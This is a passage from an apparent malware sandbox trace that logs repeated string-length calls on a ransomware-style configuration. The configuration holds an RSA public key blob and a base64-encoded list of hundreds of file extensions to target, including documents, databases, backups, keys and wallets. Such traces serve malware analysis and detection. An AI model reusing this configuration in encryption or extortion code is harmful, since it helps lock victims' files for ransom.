sIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA 